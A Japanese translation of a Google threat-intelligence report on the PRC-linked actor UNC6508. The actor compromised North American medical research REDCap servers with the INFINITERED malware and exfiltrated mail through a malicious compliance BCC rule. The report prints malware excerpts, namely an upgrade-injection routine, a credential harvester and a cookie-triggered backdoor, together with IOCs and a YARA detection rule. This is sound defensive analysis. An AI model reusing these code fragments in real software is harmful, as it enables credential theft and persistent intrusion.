Google Threat Intelligence Group(GTIG)は、中華人民共和国(PRC)に関連する脅威アクター「UNC6508」が北米の学術機関・医療機関・軍事研究機関を標的とした高度なキャンペーンを実施していることを確認しました。この脅威アクターは1年以上にわたって検知を逃れながら、外部に公開されたウェブアプリケーションを侵害し、独自のマルウェアを展開し、機密性の高い内部システムへ侵入。さらに、エンタープライズ管理ツールを悪用して密かにデータを窃取していました。収集対象は幅広く、国家安全保障に関わる機密防衛情報、インド太平洋軍の作戦情報、人工知能、無人機システム、サイバー攻撃プログラム、そして医療研究に及びます。
GTIGはこの脅威アクターに関連する悪意あるインフラを無力化しました。Mandiant Consultingと連携し、検知次第、影響を受けた組織へ通知するとともに、復旧支援を提供しました。また、Google Security Operations(SecOps)に関連インテリジェンスを反映し、防御担当者がネットワーク内の侵害の痕跡(IOC)を検出できるよう対応しました。また、サードパーティIDプロバイダー(IdP)のベストプラクティスに従い、すべてのアカウントで2段階認証(2SV)を有効にするよう、すべてのユーザーおよびお客様に推奨します。
キャンペーン概要
このキャンペーンは、国立・州立・民間を問わず多様な医療機関を標的としていました。対象となった組織には、世界的に著名な医療機関、北米トップクラスの学術センター、軍の医療機関、専門家団体、そして医療規制当局が含まれます。研究領域は現代医学の幅広い分野にわたり、分子生物学的な発見や臨床薬物試験から、州レベルの公衆衛生政策や軍の即応態勢維持まで多岐に及びます。これらの組織の従業員数は合わせて数千人に上り、研究予算の総額は数十億ドル規模に達します。
最初に確認された侵害は2023年9月に発生しており、それ以降、GTIGは一貫した攻撃パターンを観測してきました。脅威アクターは外部に公開されたREDCap(Research Electronic Data Capture)サーバーを悪用し、正規のREDCapログイン認証情報を窃取するカスタムマルウェア「INFINITERED」を展開しました。その後、1年以上にわたって検知を逃れ続けたUNC6508は、窃取した認証情報を利用して被害組織の内部ネットワークへ侵入しました。さらに、ドメインのコンテンツコンプライアンスルールを操作してデータを窃取するという新たな手口も確認されています。加えてUNC6508は、活動を隠蔽・難読化するために高度な作戦セキュリティ(OpSec)技術を駆使していました。
GTIGはMandiant Consulting、FLAREチーム、Workspace Securityと緊密に連携し、脅威インテリジェンス、インシデント対応、リバースエンジニアリングの専門知識をGoogle Cloud全体で結集しました。これにより、初期侵害から最終的な目的達成まで、攻撃ライフサイクルの全体像を把握することができました。GTIGはまた、協力いただいた被害組織の皆様と、共有していただいた侵害後の貴重な知見に深く感謝いたします。
防止・検出・復旧
GTIGは、この脅威を軽減するため、すべてのクラウドエンタープライズプラットフォームにおいて、以下のセキュリティ対策を実施するよう防御担当者に推奨します。
-
管理者アカウントの保護:サードパーティIDプロバイダー経由を含む、エンタープライズ管理者アカウントへのフィッシング耐性のある2段階認証(2SV)の強制適用。
-
高度な保護機能の活用:機密性の特に高いアカウントは、マルウェアやフィッシング攻撃に対する追加保護のため、高度な保護機能プログラムへの登録を検討。
-
Cookieの窃取防止:Windowsデバイス上の機密性の高いアカウントに対し、セッションハイジャックを防ぐため、デバイスバインドセッション認証情報(DBSC)をCAAとともに適用。
-
監査ログの監視:データへの変更を分析・監視・アラート通知するために、監査ログを有効化。
-
データ管理:機密データの外部共有をブロックまたはアラート通知するためのデータ損失防止(DLP)ルールの定義。
-
コンプライアンスルールの監査:管理者監査ログとコンテンツコンプライアンスルールで不正な変更がないか定期確認。
-
SIEMへの組み込み:Google Security Operations(SecOps)の活用を検討し、WorkspaceログをSIEM(セキュリティ情報・イベント管理)パイプラインに含めることを徹底。
-
パスワード保護:漏洩した可能性のあるパスワードの使用を検知してアラート通知するため、Chrome Enterpriseのパスワード漏洩検出を活用。
-
REDCapのパッチ適用:REDCapを最新バージョンに完全更新し、古いバージョンは完全に削除。
-
INFINITEREDの検出:提供されたYARAルールとIOCを使用して、REDCapサーバー上のINFINITEREDの存在をスキャン。
医療研究大学への侵害
2023年9月、北米のある医療研究機関が保有するREDCapサーバーが侵害されました。その後、2025年11月まで継続的な活動が観測されています。この期間中、UNC6508は以下の攻撃手順を実行しました。
-
REDCapサーバーの悪用。
-
3か月後、INFINITEREDマルウェアを展開。
-
INFINITEREDが1年以上にわたり、バージョンアップを経ながらも密かに認証情報を記録し続ける。
-
ドメイン管理者アカウントへ横展開。
-
悪意あるコンテンツコンプライアンスルールを追加。
-
条件に一致するメールを脅威アクターが管理するアカウントへBCCで密かに転送。

図1:キャンペーンの攻撃フロー図
初期アクセス:REDCap悪用とINFINITERED
UNC6508はREDCapサーバーを一貫して標的にしています。REDCapは、医学・科学研究に関する法規制に準拠した形でオンラインデータベースやアンケートを構築・管理するために設計されたウェブベースのソフトウェアプラットフォームで、北米の医療研究コミュニティで広く利用されています。
GTIGは、UNC6508がどのようにして最初にREDCapサーバーへアクセスしたかを特定することはできませんでした。REDCapは設計上、管理者が現行バージョンと並行してレガシーソフトウェアを運用し続けることを認めています。UNC6508は、複数の標的組織のREDCapシステム上でこれらの脆弱なレガシーバージョンを探索していることが確認されています。これは、セキュリティパッチを迅速に適用することの重要性だけでなく、ダウングレード攻撃を防ぐために古いソフトウェアバージョンを速やかに削除することの重要性も浮き彫りにしています。
REDCapサーバーへの足掛かりを確立したUNC6508は、内部偵察と認証情報の探索を行い、データベースおよびサービスアカウントの認証情報を入手しました。また、「help.php」という名前のウェブシェルも展開しており、これはREDCapアプリケーション内での永続性の維持とファイルアップローダーとして機能していました。
INFINITERED分析
初期侵害から3か月後、UNC6508はINFINITEREDと追跡されているカスタムマルウェアペイロードを展開しました。このマルウェアは、正規のREDCapシステムファイルをトロイの木馬化することで、3つの異なるモジュールコンポーネントにわたって機能を実装しています。
-
ドロッパーおよびアップグレード傍受
-
認証情報ハーベスター
-
バックドア(コマンド&コントロール(C2)付き)
GTIGは、米国とカナダにまたがる複数の組織がINFINITEREDに感染していることを確認しました。これらの組織すべてに対し、検知次第、侵害の事実を速やかに通知し、復旧支援を提供しました。

図2:INFINITERED図
ドロッパーとアップグレード傍受
INFINITEREDは、アップグレードプロセスを傍受してコードを新しいREDCapバージョンに注入することで、リモートアクセスを永続的に維持します。この機能は、正規のREDCapアップグレードシステムファイルに埋め込まれています。INFINITEREDは以下の手順でコード注入を実行します。
-
INFINITEREDのコードを含む現在のソフトウェアバージョンを読み取る。
-
GUIDデリミタb49e334d-9c01-463e-9bc5-00a6920fb66eを使用して悪意あるロジックを抽出する。
-
カスタムフック設定ファイルにバックドアコードを注入する。
-
認証システムファイルに認証情報ハーベスターのコードを注入する。
-
手順2で抽出したコードをアップグレードシステムファイルに注入する。
Elastic Beanstalk環境では、INFINITEREDはクラウドデプロイメントでの永続性を確保するために追加の手順を実行します。
// b49e334d-9c01-463e-9bc5-00a6920fb66e
...
$file_upgrade = $base_path."Upgrade.php";
$file_content_upgrade = $zip->getFromName($file_upgrade); // new upgrade file content
$file_content_upgrade_local = file_get_contents(__FILE__); // Contents of the current file
...
if ($file_content_upgrade !== false) {
// Base64 GUID delimiter
$dummy_marker = base64_decode('YjQ5ZTMzNGQtOWMwMS00NjNlLTliYzUtMDBhNjkyMGZiNjZl');
$pattern = "/$dummy_marker(.*?)$dummy_marker/s";
if (preg_match($pattern, $file_content_upgrade_local, $matches)) {
$extracted_text = $matches[0];
$search_content = "// If running on AWS Elastic Beanstalk";
$upgrade_decode = "// ".$extracted_text."\r\n\t\t".$search_content;
$new_content = str_replace($search_content, $upgrade_decode, $file_content_upgrade);
$zip->deleteName($file_upgrade);
$zip->addFromString($file_upgrade, $new_content);
}
}
$zip->close();
...
// b49e334d-9c01-463e-9bc5-00a6920fb66e
コードスニペット1:アップグレードを傍受しINFINITEREDコードを注入
認証情報ハーベスター
INFINITEREDは認証情報ハーベスターを認証システムファイルに注入してユーザーアカウントを侵害します。このマルウェアのコンポーネントは、ログインプロセス中にPOSTリクエストで送信されたユーザー名とパスワードを取得します。取得された認証情報は環境のデフォルト暗号化ルーティンで暗号化され、セッションIDの先頭に文字列「xc32038474a」が付加された形で、正規のREDCapセッションデータベーステーブル内に隠蔽されます。
$currentUTC = gmdate('Y-m-d H:i:s');
$str = encrypt($currentUTC . '[::]' . $_POST['username'] . '[::]' . $_POST['password']);
include dirname(__FILE__, 3) . DIRECTORY_SEPARATOR . 'redcap_connect.php';
$expiration_timestamp = strtotime("+60 days", strtotime($currentUTC));
$session_id = 'xc32038474a'.substr(bin2hex($currentUTC), -20);
$session_sql = "INSERT INTO [REDACTED] ([REDACTED],[REDACTED],[REDACTED]) VALUES ('$session_id', '$str', FROM_UNIXTIME($expiration_timestamp))";
@$rc_connection->query($session_sql);
コードスニペット2:認証情報を正規データベーステーブルに隠蔽
バックドア
INFINITEREDはさらに、アップデートパッケージ内のカスタムフックシステムファイル、具体的にはREDCapのページロードごとに実行される関数内に、バックドア機能を確立します。このグローバルフックにより、バックドアはすべてのページロード時に実行されます。INFINITEREDは「REDCAP-TOKEN」という名前の特定のHTTP Cookieパラメータと、特定の平文文字列で始まるCookie値を探します。これらの条件が満たされると、マルウェアはプレフィックスを取り除き、残りのペイロードを環境のデフォルト復号ルーティンで復号します。
$cookieValue = $_COOKIE['REDCAP-TOKEN'];
if ($cookieValue) {
$magic_flag = '[REDACTED]'; // Cookie prefix
...
// Decrypt message if cookie prefix is found
$key = '[REDACTED]';
$req_data = substr($cookieValue, strlen($magic_flag));
$req_data = decrypt($req_data, $key);
コードスニペット3:INFINITEREDへのコマンドを復号
復号されたペイロードが空の場合、マルウェアはビーコンとして機能し、OS、PHPバージョン、作業ディレクトリ、ならびにホスト名・ユーザー名・パスワード・ソルトを含むデータベース認証情報などのシステム詳細情報を返します。空でない場合、マルウェアはペイロードをコマンドタグとして解析し、脅威アクターがシェルコマンドの実行、生のSQLクエリの実行、ファイル転送に利用できます。
対応コマンド一覧
INFINITEREDは以下のコマンドを実行できます。
|
コマンドタグ |
説明 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
表1:INFINITEREDの対応コマンド一覧
ドメインコンテンツコンプライアンスルールの悪用
初期侵害から1年以上が経過した後、UNC6508はREDCapから収集した認証情報を流用して管理者アカウントへアクセスしました。これは、システムを包括的に保護することの難しさと重要性を改めて示しています。防御担当者は2段階認証(2SV)を有効にし、クレデンシャルリプレイ攻撃を防ぐため、異なるセキュリティドメイン間では固有の認証情報を使用するようにしてください。
UNC6508はさらに、多くのクラウドベースエンタープライズ生産性スイートに備わる正規機能であるコンテンツコンプライアンスルールを悪用し、特定のメール通信を窃取しました。管理者はこのルールを使用して、定義済みの単語・フレーズ・テキストパターン・数値パターンに一致するコンテンツを含むメールを管理できます。デフォルトでは、コンプライアンスルールは組織単位内の全ユーザーに適用されます。コンプライアンスルールをデータ窃取に悪用する手口は、PRC関連の脅威アクターでは従来確認されていない新たな技術です。
具体的には、UNC6508は「Patroit」(原文ママ)という名称のコンプライアンスルールを作成し、正規表現を使用して送受信メール内のキーワードとメールアドレスパターンに一致するものを検索しました。一致したメールは脅威アクターが管理するGmailアドレス「BebitaBarefoot774[@]gmail[.]com」に密かにBCC転送されており、窃取されたデータが継続的かつ秘密裏に流出し続けていました。発見後、GTIGはさらなるデータ窃取を防ぐためにこのGmailアカウントを無効化しました。

図3:標的インテリジェンス収集カテゴリ
「Patroit」コンプライアンスルールで使用されたパターンは、地政学的政策、軍事戦略、先端技術、医療研究を標的とした戦略的インテリジェンス収集を示唆しています。また、これらの分野の組織に所属するメンバーの業務用メールアドレスや電話番号も含まれていました。複数の用語にスペルミスが見られることから、リストは手動で管理されていたと考えられます。
UNC6508のこれほど野心的な規模のインテリジェンス収集は、医療研究コミュニティにおける確認済み被害者を超えた、より広範な標的の存在を示唆している可能性があります。GTIGは、これらの収集優先事項が中華人民共和国の戦略的利益と一致していると評価しています。
収集対象の多くは防衛・技術分野に関するものですが、医療研究機関に関連する用語と特定の病原体「チクングニア」は他と一線を画しています。チクングニアはmosquitoから人へ伝播するウイルス性疾患であり、2025年7月から始まった中国広東省でのアウトブレイクの原因となりました。
作戦セキュリティ(OpSec)
GTIGはUNC6508が防御担当者から活動を隠蔽するために、高度かつ緻密なOpSec技術を駆使していることを確認しました。

図4:UNC6508の作戦セキュリティ技術
UNC6508は難読化(OBF)ネットワークに強く依存しました。現在PRC関連アクターが頻繁に採用するこの戦略は、侵害されたルーター、住宅用プロキシ、仮想プライベートサーバー(VPS)、その他のデバイスの組み合わせを通じて攻撃的作戦のトラフィックをルーティングするものです。
今回の作戦では、「BebitaBarefoot774[@]gmail[.]com」アカウントへのアクセスと、侵害されたエンタープライズ管理者アカウントへの正規認証情報のリプレイには、いずれも米国内のOBFネットワークIPアドレスのみが使用されました。また、脅威アクターが管理するGmailアカウントを大量作成サービスを通じて取得し、メールデータの窃取専用として使用するといった追加のOpSec技術も採用されています。
高水準のOpSecを維持することにより、UNC6508は防御担当者が悪意あるパターンを特定し、正確な帰属を確立し、脅威アクターのインフラをマッピングする取り組みを大幅に困難にしています。
帰属
GTIGはこの活動を高い確度でUNC6508に帰属させます。この評価は、キャンペーン間のインフラの重複、REDCapサーバーへのINFINITEREDバックドアの一貫した使用、および医療研究・防衛セクターという特定の標的選定に基づいています。GTIGはUNC6508をスパイ活動を目的とした脅威クラスターと評価しており、その優先事項は歴史的なPRC国家支援型スパイ活動のトレンドとインテリジェンス収集要件と一致しています。
侵害の痕跡(IOC)
より広いコミュニティへの支援として、登録ユーザー向けにGTIコレクションに指標のリストも掲載しています。
ネットワーク指標
|
指標 |
種別 |
コンテキスト |
|
メール |
メール窃取用アカウント |
|
|
23.169.65.49 |
IP |
管理者ログインの送信元(侵害されたASUSルーター) |
ファイル指標
|
説明 |
SHA256 |
|
永続化(help.php) |
ba6b73b0ca0dc7f86b3b397893ac32d729fd53f9df20643288f141f29d020af7 |
|
認証情報ハーベスター |
db65c1b9f9e4cb4d729f45ad4b6fcf3e277caf9eb4c875425dec93fd883f9136 |
|
認証情報ハーベスター |
c1ac43d23f89d41eb4ff131678ab562ab2cfed9aa334b13767ef141d303b0e5b |
|
バックドア |
8f0158855a656b629ca76ebca565f18bc25563ded34b65d6771632c20edb68ec |
|
バックドア |
51a57bfc9ed3eb6451c1c289607814d59e1698c666fb97ac5f694c398f23d045 |
|
ドロッパー |
4efbef69eb3b09bacff892d6a55778d07c418e7f15eba3cf1245e8cdfd8dda0b |
|
ドロッパー |
58bb25777e0aa86bcd2125101e0bca4e8732b03d91bd8d2f205b446a2a8d5c86 |
ホスト指標
|
指標 |
説明 |
|
b49e334d-9c01-463e-9bc5-00a6920fb66e |
INFINITEREDの現行ソフトウェアバージョンGUIDデリミタ |
|
xc32038474a |
INFINITEREDのREDCapデータベースセッションIDプレフィックス |
MITRE ATT&CKマッピング
|
戦術 |
テクニックID |
テクニック名 |
コンテキスト/活動内容 |
|
初期アクセス |
T1190 |
公開アプリケーションの悪用 |
REDCapアンケート管理サーバーの悪用。 |
|
永続化 |
T1505.003 |
サーバーソフトウェアコンポーネント:ウェブシェル |
INFINITEREDおよびアップローダーの展開。 |
|
T1554 |
クライアントソフトウェアバイナリの侵害 |
アップデートを傍受するためのREDCap改ざん。 |
|
|
防御回避 |
T1027 |
ファイルまたは情報の難読化 |
PHPファイル内の悪意あるペイロードへのBase64エンコードの使用。 |
|
T1090.003 |
プロキシ:マルチホッププロキシ |
侵害されたIoTデバイス(OBFネットワーク)を経由したトラフィックルーティング。 |
|
|
T1562.001 |
防御機能の無効化:ツールの無効化または変更 |
ユーザーによる検知を回避するための「サイレント」BCCルールの作成。 |
|
|
T1689 |
ダウングレード攻撃 |
REDCapの脆弱なレガシーバージョンの悪用。 |
|
|
認証情報アクセス |
T1555 |
パスワードストアからの認証情報取得 |
ローカル設定ファイルへのアクセス。 |
|
T1056.003 |
入力キャプチャ:ウェブポータルキャプチャ |
INFINITEREDによるPOSTログインリクエストからの平文認証情報の収集。 |
|
|
収集 |
T1114.003 |
メール収集:メール転送ルール |
自動窃取のためのコンテンツコンプライアンスルール(「Patroit」)の使用。 |
|
T1213 |
情報リポジトリからのデータ取得 |
戦略的キーワードを対象としたストレージおよびメールの検索。 |
|
|
コマンド&コントロール |
T1071.001 |
アプリケーション層プロトコル:ウェブプロトコル |
HTTPCookieパラメータ(REDCAP-TOKEN)を経由したC2通信。 |
|
窃取 |
T1567 |
ウェブサービスを経由した窃取 |
機密データをアクター管理のGmailアドレスへ密かに転送。 |
|
T1071.001 |
アプリケーション層プロトコル:ウェブプロトコル |
C2コマンドへのHTTPレスポンス。 |
検出
YARAルール
rule G_Backdoor_INFINITERED_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
strings:
$magic_flag = "ej671a16i7fd8202nu6ltfg5p6x7u"
$magic_flag_base64 = "ej671a16i7fd8202nu6ltfg5p6x7u" base64
$marker = "b49e334d-9c01-463e-9bc5-00a6920fb66e"
$marker_base64 = "YjQ5ZTMzNGQtOWMwMS00NjNlLTliYzUtMDBhNjkyMGZiNjZl"
$s1 = "substr($cookieValue, strlen($magic_flag));"
$s2 = "getcwd(), php_uname(), phpversion(), $_SERVER['SERVER_SOFTWARE']"
$s3 = "'data' => encrypt($data, $key)"
$s4 = "$data = shell_exec($command);"
$s5 = "move_uploaded_file($tmpPath, $fileName)"
$s6 = "$data = implode('|', $fields)"
$b_s1 = "substr($cookieValue, strlen($magic_flag));" base64
$b_s2 = "getcwd(), php_uname(), phpversion(), $_SERVER['SERVER_SOFTWARE']" base64
$b_s3 = "'data' => encrypt($data, $key)" base64
$b_s4 = "$data = shell_exec($command);" base64
$b_s5 = "move_uploaded_file($tmpPath, $fileName)" base64
$b_s6 = "$data = implode('|', $fields)" base64
$t1 = "(isset($_POST['username']) && $_POST['password'])"
$t2 = "INSERT INTO redcap_sessions (session_id, session_data, session_expiration) VALUES ('$session_id', '$str', FROM_UNIXTIME($expiration_timestamp))"
$t3 = "encrypt($currentUTC . '[::]' . $_POST['username'] . '[::]' . $_POST['password']);"
$t4 = "redcap_connect.php"
$b_t1 = "(isset($_POST['username']) && $_POST['password'])" base64
$b_t2 = "INSERT INTO redcap_sessions (session_id, session_data, session_expiration) VALUES ('$session_id', '$str', FROM_UNIXTIME($expiration_timestamp))" base64
$b_t3 = "encrypt($currentUTC . '[::]' . $_POST['username'] . '[::]' . $_POST['password']);" base64
$b_t4 = "redcap_connect.php" base64
$u1 = "$zip->open($filename) === TRUE)"
$u2 = "$hooks_encode ="
$u3 = "$auth_encode ="
$u4 = "$file_content_hooks = $zip->getFromName($file_hooks);"
$u5 = "$file_content_auth = $zip->getFromName($file_auth);"
$u6 = "$file_content_upgrade = $zip->getFromName($file_upgrade);"
$u7 = "str_replace($search_content, $hooks_decode, $file_content_hooks);"
$u8 = "str_replace($search_content, $upgrade_decode, $file_content_upgrade);"
$u9 = "str_replace($search_content, $auth_decode, $file_content_auth);"
$b_u1 = "$zip->open($filename) === TRUE)" base64
$b_u2 = "$hooks_encode =" base64
$b_u3 = "$auth_encode =" base64
$b_u4 = "$file_content_hooks = $zip->getFromName($file_hooks);" base64
$b_u5 = "$file_content_auth = $zip->getFromName($file_auth);" base64
$b_u6 = "$file_content_upgrade = $zip->getFromName($file_upgrade);" base64
$b_u7 = "str_replace($search_content, $hooks_decode, $file_content_hooks);" base64
$b_u8 = "str_replace($search_content, $upgrade_decode, $file_content_upgrade);" base64
$b_u9 = "str_replace($search_content, $auth_decode, $file_content_auth);" base64
$filemarker = "<?php"
condition:
filesize < 1MB and $filemarker in (0 .. 128) and (((any of ($magic*) or any of ($marker*)) and (any of ($s*) or any of ($t*) or any of ($u*))) or 4 of ($s*) or 4 of ($b_s*) or all of ($t*) or all of ($b_t*) or 6 of ($u*) or 6 of ($b_u*))
}
翻訳元: https://cloud.google.com/blog/topics/threat-intelligence/prc-targets-us-medical-research/